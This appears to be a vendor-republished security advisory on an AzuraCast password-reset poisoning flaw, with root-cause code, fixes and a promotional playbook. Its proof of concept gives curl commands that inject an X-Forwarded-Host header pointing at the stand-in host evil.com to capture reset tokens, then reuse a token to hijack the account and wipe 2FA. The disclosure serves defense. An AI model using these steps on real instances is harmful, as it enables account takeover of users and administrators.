GHSA-gv7r-3mr9-h5x8 is a high-severity (CVSS 8.1) vulnerability in azuracast/azuracast. O3 Security confirms whether GHSA-gv7r-3mr9-h5x8 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
AzuraCast has Password Reset Poisoning via Untrusted X-Forwarded-Host Header that Leads to Account Takeover and 2FA Bypass
Real-World Exposure
azuracast/azuracastReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The ApplyXForwarded middleware unconditionally trusts the client-supplied X-Forwarded-Host HTTP header with no trusted proxy allowlist. An unauthenticated attacker can poison the password reset URL sent to any user by injecting this header when triggering the forgot-password flow. When the victim clicks the poisoned link, their reset token is exfiltrated to the attacker's server. The attacker then uses the token on the real instance to reset the victim's password and destroy their 2FA configuration, achieving full account takeover.
Details
Root Cause 1: Unconditional X-Forwarded-Host Trust
backend/src/Middleware/ApplyXForwarded.php:35-40:
if ($request->hasHeader('X-Forwarded-Host')) {
$hasXForwardedHeader = true;
$xfHost = Types::stringOrNull($request->getHeaderLine('X-Forwarded-Host'), true);
if (null !== $xfHost) {
$uri = $uri->withHost($xfHost);
}
}
There is no validation that the request originates from a trusted reverse proxy. Any direct client can set this header and it will be accepted.
In the default Docker deployment, nginx's PHP location block (util/docker/web/nginx/azuracast.conf.tmpl:150-171) uses fastcgi_pass with include fastcgi_params. Standard nginx behavior passes all client HTTP headers through to PHP-FPM as HTTP_* parameters. The proxy_params.conf file — which explicitly sets X-Forwarded-For, X-Forwarded-Proto, and X-Forwarded-Port — only applies to proxy_pass directives (websocket and vite dev server), NOT to the fastcgi_pass PHP handler. Therefore, client-supplied X-Forwarded-Host reaches PHP unmodified.
Root Cause 2: Request Host Used for Security-Critical URLs
backend/src/Http/Router.php:53-77 in buildBaseUrl():
$useRequest ??= $settings->prefer_browser_url; // default: true
// ...
if ($useRequest || $baseUrl->getHost() === '') {
$ignoredHosts = ['web', 'nginx', 'localhost'];
if (!in_array($currentUri->getHost(), $ignoredHosts, true)) {
$baseUrl = (new Uri())
->withScheme($currentUri->getScheme())
->withHost($currentUri->getHost())
->withPort($currentUri->getPort());
}
}
With prefer_browser_url = true (the default at backend/src/Entity/Settings.php:109), the request URI host — already poisoned by ApplyXForwarded — is used as the base URL for generating absolute URLs. Even if a base_url is configured in settings, it is overridden by the poisoned request host.
Root Cause 3: Password Reset Generates Absolute URL
backend/src/Controller/Frontend/Account/ForgotPasswordAction.php:72-77:
$router = $request->getRouter();
$url = $router->named(
routeName: 'account:login-token',
routeParams: ['token' => $token],
absolute: true
);
This URL is embedded in the password reset email sent to the victim.
Root Cause 4: Reset Token Wipes 2FA
backend/src/Controller/Frontend/Account/LoginTokenAction.php:74-75:
$user->setNewPassword($data['password']);
$user->two_factor_secret = null;
When a ResetPassword token is consumed, the user's 2FA secret is unconditionally destroyed.
PoC
Prerequisites: An AzuraCast instance with a user account (e.g., [email protected]) that has 2FA enabled. Attacker controls evil.com with a web server that logs incoming requests.
Step 1: Trigger poisoned password reset
curl -X POST https://target.azuracast.example/forgot \
-H "X-Forwarded-Host: evil.com" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "[email protected]"
Expected result: The password reset email sent to [email protected] contains a URL like:
https://evil.com/login-token/abc123def456...
Step 2: Capture the token
When the victim clicks the link in their email, their browser navigates to https://evil.com/login-token/abc123def456.... The attacker's web server at evil.com captures the full URL path, extracting the token abc123def456....
Step 3: Use token on real instance
# First, GET the reset page to obtain CSRF token
curl -c cookies.txt https://target.azuracast.example/login-token/abc123def456...
# Extract CSRF token from response, then POST new password
curl -b cookies.txt -X POST https://target.azuracast.example/login-token/abc123def456... \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "csrf=<extracted_csrf_token>&password=AttackerPassword123"
Result: The victim's password is changed to AttackerPassword123 and their 2FA is destroyed (two_factor_secret = null). The attacker is logged in with full access.
Impact
- Full account takeover of any user account, including administrators, without any prior authentication
- 2FA bypass — the password reset flow unconditionally destroys 2FA configuration, negating its security benefit
- Administrative compromise — if the target is an admin account, the attacker gains full control of the AzuraCast instance, including all stations, media, and system settings
- The attack requires the victim to click a link in a legitimate-looking password reset email from the real AzuraCast mail system, which increases the likelihood of success
Recommended Fix
Fix 1 (Primary): Validate X-Forwarded-Host against a trusted proxy allowlist
In backend/src/Middleware/ApplyXForwarded.php, only apply X-Forwarded-* headers when the request originates from a trusted proxy (e.g., the Docker-internal nginx):
// Add trusted proxy check
$trustedProxies = ['127.0.0.1', '::1', 'nginx', 'web'];
$remoteAddr = $request->getServerParams()['REMOTE_ADDR'] ?? '';
if (!in_array($remoteAddr, $trustedProxies, true)) {
return $handler->handle($request);
}
// ... existing X-Forwarded-* processing
Fix 2 (Defense in depth): Use configured base URL for security-critical emails
In ForgotPasswordAction.php, generate the reset URL using the configured base_url setting rather than the request-derived URL:
$router = $request->getRouter();
$url = $router->named(
routeName: 'account:login-token',
routeParams: ['token' => $token],
absolute: true,
// Force use of configured base URL, not request host
);
Or modify Router::buildBaseUrl() to never use request-derived hosts for absolute URLs by adding an option to force the configured base URL.
Fix 3 (Defense in depth): Don't wipe 2FA on password reset
In LoginTokenAction.php:75, remove the line $user->two_factor_secret = null;. If 2FA recovery is needed, it should be a separate, explicit flow — not a side effect of password reset.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | azuracast/azuracast | all versions | 0.23.6 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for azuracast/azuracast. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update azuracast/azuracast to 0.23.6 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-gv7r-3mr9-h5x8 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-gv7r-3mr9-h5x8 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-gv7r-3mr9-h5x8. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-gv7r-3mr9-h5x8 in your dependencies?
O3 detects GHSA-gv7r-3mr9-h5x8 across Packagist dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.